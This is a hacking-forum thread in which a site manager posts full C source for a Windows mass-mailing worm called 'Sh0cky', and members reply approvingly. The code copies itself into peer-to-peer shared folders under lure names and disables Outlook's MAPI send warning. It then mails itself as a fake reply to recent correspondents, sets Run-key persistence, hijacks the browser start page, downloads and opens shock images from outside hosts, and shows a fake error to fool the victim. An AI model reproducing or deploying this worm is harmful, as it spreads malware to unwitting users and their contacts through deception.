Dark Tavern: [C/C++] Worm Source Code Called Sh0cky - Dark Tavern

Jump to content

Welcome to Dark Tavern

Welcome to Dark Tavern, like most online communities you must register to view or post in our community, but don't worry this is a simple free process that requires minimal information. Take advantage of it immediately, Register Now or Sign In.

  • Start new topics and reply to others
  • Subscribe to topics and forums to get automatic updates
  • Add events to our community calendar
  • Get your own profile and make new friends
  • Customize your experience here
Guest Message © 2010 DevFuse

Toggle shoutbox Shoutbox

Chaos Icon : (29 June 2010 - 05:37 PM) Yoooo
msp Icon : (18 June 2010 - 05:57 PM) selfcoded
msp Icon : (18 June 2010 - 05:57 PM) i have a fud crypter
Cris Icon : (17 June 2010 - 10:28 AM) Effective FUD crypters are generally scene releases. For the "newest" release, you'll want to check around forums/blogs with active programming content.
coolmac123 Icon : (06 June 2010 - 07:34 PM) Hey anyone know the NEWEST fud crypter?
deathstar Icon : (27 April 2010 - 03:41 AM) Hey i just joined, any one know any other cool sites
zetra Icon : (21 April 2010 - 07:44 AM) hi all darktavern!
Andrew Icon : (19 March 2010 - 06:22 PM) Hello
stickystee Icon : (18 March 2010 - 09:08 PM) is anyone there
stickystee Icon : (18 March 2010 - 09:02 PM) hello
legitm0dder Icon : (17 March 2010 - 03:35 PM) hellooooo
Andrew Icon : (04 March 2010 - 01:16 PM) Hello
rocksam Icon : (03 March 2010 - 06:32 AM) helo
k9ribs Icon : (21 February 2010 - 09:56 AM) any body is online?
k9ribs Icon : (21 February 2010 - 09:54 AM) can anybody help how can i trace my phone?
ZeroS Icon : (20 February 2010 - 03:17 PM) What do you do if the CMOS battery didnt delete the BIOS password?
Alrunix Icon : (17 February 2010 - 09:00 AM) can anybody pls help me out with a wordlist?
Livix Icon : (05 February 2010 - 11:16 AM) hey, motherboard is out on my computer may be gone for a while. atleast till i get up some more money to spare on the one i want
Th3Ch0s3n0n3 Icon : (28 January 2010 - 11:06 PM) anybody know where to get hxdef?
UGxCyber Icon : (27 January 2010 - 01:21 PM) So you may have to take the ENTIRE computer apart to access this, or it may just be under a panel underneath the computer itself.
Resize Shouts Area

Close Open
Close Open
Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

[C/C++] Worm Source Code Called Sh0cky

#1 User is offline   Andrew Icon

  • Site Manager
  • PipPipPipPip
  • Group: Site Manager
  • Posts: 1,444
  • Joined: 11-May 08
  • Gender:Male
  • Location:CT
Reputation: 1
Neutral

Posted 11 January 2009 - 08:24 PM

#include 
#include 
#include 
#include 
#include 
#include 
#define Refresh(this) RtlZeroMemory(&this, sizeof(this));
#define MAKEJPG(x,y) lstrcat(x,y[i]); lstrcat(x,".jpg");
typedef void (*Funk)(LPVOID,char*,char*,int,int);
inline BOOL FileExists(char* FileName);
BOOL Download(char* URL, char* File_Name);
/*NOTE!!! The Creator of this "virus" holds no responsiblity if you as the "victim" activate it.
This was pure created for educational purposes only to
see the effects of a computer virus acting as a worm.
I The Creator of this program "sh0cky" hold absoulutely NO responsilbity of others actions
with this program.*/

int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{   
     int i = 0, delay = 5000; HKEY hKey; DWORD useless;
     unsigned char reg[30] = "www.google.com";
     char pathname[256];
     HMODULE hMe = GetModuleHandle(NULL);
     DWORD nRet = GetModuleFileName(hMe, pathname, 256);
     char DnldPath[260], DnldResult[260], MyPics[260], system[260];
     char * picList[] = {
          "\\me2", "\\mendfriends",
          "\\funny", "\\lol", "\\haha",
          "\\noob", "\\open", "\\insane",
          "\\freedom", "\\XXX", "\\me"
          };
          char * pDnld[] = {
               "lemonparty.org/lemonparty", "goatse.cz/hello",
               "consumptionjunction.com/downloadsnew/cj_52447",
               "bottleguy.com/bottleguy", "gimpyd.com/scat/zorro~xander",
               "gimpyd.com/scat/z015", "gimpyd.com/scat/yes4sy",
               "gimpyd.com/scat/Tulip", "gimpyd.com/scat/snicker_bars",
                "gimpyd.com/scat/tool24", "gimpyd.com/scat/thattimeagain"
                 };
                 //Save some space, reuse some variables.
                  GetSystemDirectory(system, 260);
                  lstrcat(system, "\\windowsloader.exe");
                  CopyFile(pathname,"C:\\Program Files\\Kazaa\\My Shared Folder\\HackToolz.exe", 0);
CopyFile(pathname,"C:\\program files\\ICQ\\Shared Folder\\PornLoader.exe", 0);
CopyFile(pathname,"C:\\Program Files\\kazaa lite\\My Shared Folder\\SexyTime!.exe", 0);
CopyFile(pathname,"C:\\Program Files\\Kazaa Lite\\My Shared Folder\\SexyTime!.exe", 0);
CopyFile(pathname,"C:\\Program Files\\Kazaa Lite K++\\My Shared Folder\\HackToolz5.3.exe", 0);
CopyFile(pathname,"C:\\Program Files\\bearshare\\shared\\HotSex.exe", 0);
CopyFile(pathname,"C:\\Program Files\\edonkey2000\\incoming\\Free$$$.exe", 0);
CopyFile(pathname,"C:\\Program Files\\eMule\\Incoming\\FreePron.exe", 0);
CopyFile(pathname,"C:\\Program Files\\Morpheus\\My Shared Folder\\Sexxxx.exe", 0);
CopyFile(pathname,"C:\\Program Files\\Limewire\\Shared\\XXX.exe", 0);
CopyFile(pathname,"C:\\Program Files\\winmx\\shared\\Porn.exe", 0);
CopyFile(pathname,"C:\\Program Files\\Tesla\\Download Acclerator.exe", 0);
CopyFile(pathname,"C:\\Program Files\\winmx\\shared\\Porn Pics Collection 10000.zip.exe", 0);
   HKEY         RegHandle1;
   HKEY         RegHandle2;
   char         DefaultUserId[100];
   DWORD         DefaultUserIdSize = sizeof(DefaultUserId);
   DWORD         WarnDisable = 0;

   /*
   The declarations we need to save stuff from registry, as example the handles,
   the default user id and the value for disabling MAPI warning.
   */

   HINSTANCE      MapiDll;
   LPMAPILOGON      MapiLogon;
   LPMAPIFINDNEXT      MapiFindNext;
   LPMAPIREADMAIL      MapiReadMail;
   LPMAPISENDMAIL      MapiSendMail;
   LPMAPILOGOFF      MapiLogoff;
   LHANDLE         MapiSessionHandle;
   MapiMessage      *GetMessage;
   MapiMessage      Message;
   MapiRecipDesc      Originator;
   MapiRecipDesc      Recips;
   MapiFileDesc      Files;

   /*
   The declarations we need to handle with MAPI, we declare the used api's and
   structures. We fill the structures with needed data's later.
   */

   char         WormFile[MAX_PATH] = "%windir%\\windowsloader.exe";
   char         Subject[100];
   char         VictimAddress[100];
   char         MessageBuffer[512];
   char         Re[] = "Re: ";
   unsigned short      MailCount = 10;

   /*
   The buffer for worm path, subject of e-mail, victims mail address, the string
   "Re: " to fake an answer and the mail count. "Answer" the last 5 mails in box.
   */

   Message.ulReserved      = 0;
   Message.lpszSubject      = Subject;
   Message.lpszNoteText      = "Hehe, sorry, I forgot ;)\nLook at this! its the funniest thing!";
   Message.lpszMessageType      = 0;
   Message.lpszDateReceived   = 0;
   Message.lpszConversationID   = 0;
   Message.flFlags         = 0;
   Message.lpOriginator      = &Originator;
   Message.nRecipCount      = 1;
   Message.lpRecips      = &Recips;
   Message.nFileCount      = 1;
   Message.lpFiles         = &Files;

   Originator.ulReserved      = 0;
   Originator.ulRecipClass      = MAPI_ORIG;
   Originator.lpszName      = 0;
   Originator.lpszAddress      = 0;
   Originator.ulEIDSize      = 0;
   Originator.lpEntryID      = 0;

   Recips.ulReserved      = 0;
   Recips.ulRecipClass      = MAPI_TO;
   Recips.lpszName         = 0;
   Recips.lpszAddress      = VictimAddress;
   Recips.ulEIDSize      = 0;
   Recips.lpEntryID      = 0;

   Files.ulReserved      = 0;
   Files.flFlags         = 0;
   Files.nPosition         = 0;
   Files.lpszPathName      = WormFile;
   Files.lpszFileName      = "FunniestThingsof2006.exe";
   Files.lpFileType      = 0;

   /*
   The MAPI Message structure, we fill it with data's. We fill the buffers
   Subject, VictimAddress and WormFile later, now it's just a pointer to this
   buffers. Somethin you have to know:
   Message.lpszSubject      = Mail Subject
   Message.lpszNoteText      = Mail Body
   Originator.lpszName      = Sender of the Mail, name
   Originator.lpszAddress      = Sender of the Mail, mail address
   Recips.lpszName         = Who gets the Mail, name
   Recips.lpszAddress      = Who gets the Mail, mail address
   Files.lpszPathName      = Attachment, where is the file stored
   Files.lpszFileName      = Attachment, how is the attached file named
   */

   RegOpenKeyEx(HKEY_CURRENT_USER, "Identities", 0, KEY_QUERY_VALUE, &RegHandle1);
   RegQueryValueEx(RegHandle1, "Default User ID", 0, 0, (BYTE *)&DefaultUserId, &DefaultUserIdSize);
   lstrcat(DefaultUserId, "\\Software\\Microsoft\\Outlook Express\\5.0\\Mail");
   RegOpenKeyEx(RegHandle1, DefaultUserId, 0, KEY_SET_VALUE, &RegHandle2);
   RegSetValueEx(RegHandle2, "Warn on Mapi Send", 0, REG_DWORD, (BYTE *)&WarnDisable, sizeof(WarnDisable));
   RegCloseKey(RegHandle2);
   RegCloseKey(RegHandle1);

   /*
   Here we play with the registry to disable outlook warning when a other application
   try's to send a mail with MAPI.
   1. Open HKEY_CURRENT_USER\Identities and save handle
   2. Read value of "Default User ID" and save it to buffer
   3. Append path to outlook settings to it, now:
       HKEY_CURRENT_USER\Identities\\Software\Microsoft\Outlook Express\5.0\Mail
   4. Open this registry path and save handle
   5. Set "Warn on Mapi Send" to 0, means no warning
   6. Close both handles.
   */

   MapiDll      = LoadLibrary("MAPI32.DLL");
   MapiLogon   = (LPMAPILOGON)      GetProcAddress(MapiDll, "MAPILogon");
   MapiFindNext   = (LPMAPIFINDNEXT)   GetProcAddress(MapiDll, "MAPIFindNext");
   MapiReadMail   = (LPMAPIREADMAIL)   GetProcAddress(MapiDll, "MAPIReadMail");
   MapiSendMail   = (LPMAPISENDMAIL)   GetProcAddress(MapiDll, "MAPISendMail");
   MapiLogoff   = (LPMAPILOGOFF)   GetProcAddress(MapiDll, "MAPILogoff");

   /*
   Here we load all for MAPI needed api's. First we load the library MAPI32.DLL
   and sae the handle to extract all api's with GetProcAddress.
   */

   GetModuleFileName(0, WormFile, sizeof(WormFile));

   /*
   Get the full path of the worm file to send it as attachment with mail.
   */

   MapiLogon(0, 0, 0, 0, 0, &MapiSessionHandle);

   /*
   Log into a new MAPI session and save the handle.
   */

   while(MapiFindNext(MapiSessionHandle, 0, 0, MessageBuffer, MAPI_GUARANTEE_FIFO, 0, MessageBuffer) == SUCCESS_SUCCESS || MailCount == 0)
   {

   /*
   Find first or next mail stored in the mail box and save it to buffer. If this fails or
   we arrived mail count then jump out of this while loop.
   */

      if(MapiReadMail(MapiSessionHandle, 0, MessageBuffer, 0, 0, &GetMessage) == SUCCESS_SUCCESS)
      {

      /*
      Read the mail we found via MapiFindNext to structure GetMessage. If this fails
      try to find next mail.
      */

         lstrcpy(Subject, Re);
         lstrcat(Subject, GetMessage->lpszSubject);
         lstrcpy(VictimAddress, GetMessage->lpOriginator->lpszAddress);

         /*
         Copy "Re: " to buffer and append the real subject of the mail, as example
         "Re: Hey, whassup?". Copy the senders mail address to our buffer to "answer"
         the mail.
         */

         if (MapiSendMail(MapiSessionHandle, 0, &Message, 0, 0) == SUCCESS_SUCCESS)
         {

         /*
         Send the mail, MAPI Message structure is successfuly filled with needed
         data's, so it should work. If not try to find next mail in box.
         */

            MailCount--;

            /*
            We send successfull a mail, so we decrease the mail count by one.
            */
         }
      }

   }

   MapiLogoff(MapiSessionHandle, 0, 0, 0);
   FreeLibrary(MapiDll);

   /*
   Logoff the current session via handle we saved, and free the library MAPI32.DLL
   also via handle.
   */

   MessageBox(0, "Runtime Could Not Load!, timeout loading recognised files. Please load again.\n If reoccurence please re install.", "ERROR", MB_IConerror);
               if (!FileExists(system)) //First time, need to install.
                  {
                     GetModuleFileName(NULL, DnldResult, 260);
                     CopyFile(DnldResult, system, 1);
                     RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 2, &hKey);
                     RegSetValueEx(hKey, "Windows Boot Loader", 0, REG_SZ, system, 260);
                     RegCloseKey(hKey);         
                     RegCreateKey (HKEY_CURRENT_USER, "Software\\Microsoft\\Internet Explorer\\Main",&hKey);
                     RegSetValueEx (hKey,"Start Page", 0, REG_SZ, reg, sizeof(reg));
                     RegCloseKey(hKey);
                  }
                     
                       //Get My Pictures directory
                       RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders",
                       0, KEY_READ, &hKey); RegQueryValueEx(hKey, "My Pictures", NULL, NULL, (BYTE*)MyPics, &useless);
                       RegCloseKey(hKey);   
                       
                       for (i = 0; pDnld[i]; i++)
                     
                       {
                           Refresh(system); Refresh(DnldResult);
           lstrcpy(system, "http://www."); MAKEJPG(system, pDnld);
            lstrcpy(DnldResult, MyPics); MAKEJPG(DnldResult, picList);
            Download(system, DnldResult); Sleep(delay);
            ShellExecute(NULL, "open", DnldResult, NULL, NULL, SW_MAXIMIZE);
         
}








   /*
   Show fake error message to fool user, maybe he delete the worm because he
   think it's a not working application, but we dont care, he already sent
   this baby to 5 of his friends (in best case) :).
   */
            return 0;
            }
            inline BOOL FileExists(char* FileName)
            {     
            return GetFileAttributes(FileName) != INVALID_FILE_ATTRIBUTES;
            }
            BOOL Download(char* URL, char* File_Name)
            {
            HINSTANCE Dll_Handle = LoadLibrary("urlmon.dll");                   
            if  (Dll_Handle == NULL) return FALSE;
            Funk DnLd  = (Funk)GetProcAddress(Dll_Handle,"URLDownloadToFileA");
            if (DnLd == NULL) return FALSE;   DnLd(0,URL,File_Name,0,0);
            FreeLibrary(Dll_Handle);   
            return TRUE;
            } 



[color="#ff8c00"][font="Microsoft Sans Serif"]
Feel free to use the Feedback forum if you have any suggestions or complaints.[/font]
[/color]
0

#2 User is offline   naid Icon

  • Newbie
  • Pip
  • Group: Members
  • Posts: 3
  • Joined: 04-February 09
Reputation: 0
Neutral

Posted 04 February 2009 - 01:46 PM

This looks good, i wont compile it though.
0

#3 User is offline   Adonai Icon

  • Member
  • PipPip
  • Group: Members
  • Posts: 13
  • Joined: 07-February 09
Reputation: 0
Neutral

Posted 07 February 2009 - 01:45 PM

Hmm, pretty simple but effective. It has some lacks though.
Posted Image
0

#4 User is offline   J0N Icon

  • Member
  • PipPip
  • Group: Members
  • Posts: 18
  • Joined: 13-March 09
Reputation: 0
Neutral

Posted 13 March 2009 - 08:20 AM

Did you write this?
0

#5 User is offline   ValVernes Icon

  • Newbie
  • Pip
  • Group: Members
  • Posts: 3
  • Joined: 22-March 09
Reputation: 0
Neutral

Posted 23 March 2009 - 10:08 AM

I have source of mydoom , blaster,sasser,littepain ... but i don't understand them :D
Posted Image
0

#6 User is offline   Cris Icon

  • BBQ
  • PipPipPipPip
  • Group: Administrators
  • Posts: 2,088
  • Joined: 14-May 08
  • Gender:Male
Reputation: 3
Neutral

Posted 23 March 2009 - 05:40 PM

View PostValVernes, on Mar 23 2009, 11:08 AM, said:

I have source of mydoom , blaster,sasser,littepain ... but i don't understand them :D

You should post them up here =]
Posted Image
0

#7 User is offline   h3ll Icon

  • Member
  • PipPip
  • Group: Members
  • Posts: 13
  • Joined: 31-October 08
Reputation: 0
Neutral

Posted 16 April 2009 - 07:09 PM

thankss!!!
0

#8 User is offline   rubix Icon

  • Member
  • PipPip
  • Group: Members
  • Posts: 11
  • Joined: 29-April 09
Reputation: 0
Neutral

Posted 29 April 2009 - 01:24 PM

looks intresting I like the mapi functions. will examin this more when I get in thanks.
0

#9 User is offline   Invisible Icon

  • Member
  • PipPip
  • Group: Members
  • Posts: 14
  • Joined: 16-May 09
Reputation: 0
Neutral

Posted 16 May 2009 - 10:04 PM

Nice @ Fake error lolz
0

#10 User is offline   xmas92 Icon

  • Member
  • PipPip
  • Group: Members
  • Posts: 11
  • Joined: 21-May 09
Reputation: 0
Neutral

Posted 21 May 2009 - 06:16 PM

Might try it
0

#11 User is offline   Diesel Icon

  • Member
  • PipPip
  • Group: Members
  • Posts: 11
  • Joined: 08-June 09
Reputation: 0
Neutral

Posted 09 June 2009 - 05:12 PM

View Postxmas92, on May 21 2009, 06:16 PM, said:

Might try it


looks alright, ill try it.
0

#12 User is offline   Tonig Icon

  • Member
  • PipPip
  • Group: Members
  • Posts: 21
  • Joined: 17-June 09
Reputation: 0
Neutral

Posted 19 June 2009 - 10:37 AM

Quote

#include
#include
#include
#include

wtf are you including??
<?php echo "ToniG"; ?>
Gr33Tz
0

#13 User is offline   fedex Icon

  • Member
  • PipPip
  • Group: Members
  • Posts: 12
  • Joined: 10-July 09
Reputation: 0
Neutral

Posted 10 July 2009 - 03:54 PM

Thank you works fine
0

Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users



    This topic has been visited by 7 user(s)

Vote for Dark Tavern

Help Dark Tavern grow by voting for us daily.
  







Partners


Icon Lastest Discussions

Donate

PayPal Seal
Amount
Currency